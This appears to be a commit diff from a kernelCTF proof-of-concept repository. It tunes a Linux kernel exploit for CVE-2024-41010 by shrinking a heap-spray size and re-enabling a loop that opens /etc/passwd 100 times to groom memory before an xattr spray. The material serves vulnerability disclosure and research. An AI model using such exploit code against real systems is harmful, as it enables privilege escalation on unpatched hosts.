fix(exploit.c): minimize spray sz

google · Aug 16, 2024 · bdd962b · bdd962b
1 parent eed41b6
commit bdd962b
Showing 1 changed file with 6 additions and 6 deletions.
diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.35/exploit.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.35/exploit.c
@@ -41,7 +41,7 @@
 
 #define PAGE_SIZE 0x1000
 
-#define FIRST_SPRAY_SZ 0x3000
+#define FIRST_SPRAY_SZ 0x1000
 #define SECOND_SPRAY_SZ (FIRST_SPRAY_SZ + 0x400)
 #define THIRD_SPRAY_SZ (SECOND_SPRAY_SZ + 0x400)
 
@@ -257,11 +257,11 @@ void spray_simple_xattr_for_leak_first(uint32_t cnt) {
 	char value_name[XATTR_VALUE_CG_8K];
     char attribute_name[XATTR_VALUE_CG_8K];
 
-	// int fds[1000];
-	// for(int i=0; i<100; i++)
-	// 	fds[i] = open("/etc/passwd", O_RDONLY);
-	// for(int i=0; i<100; i++)
-	// 	close(fds[i]);
+	int fds[1000];
+	for(int i=0; i<100; i++)
+		fds[i] = open("/etc/passwd", O_RDONLY);
+	for(int i=0; i<100; i++)
+		close(fds[i]);
 
     for (uint64_t i = prefix_spray_cnt; i < prefix_spray_cnt + cnt; i++) {
 		snprintf(file_name, FILENAME_LEN, "%s-%08d", XATTR_FILE, i);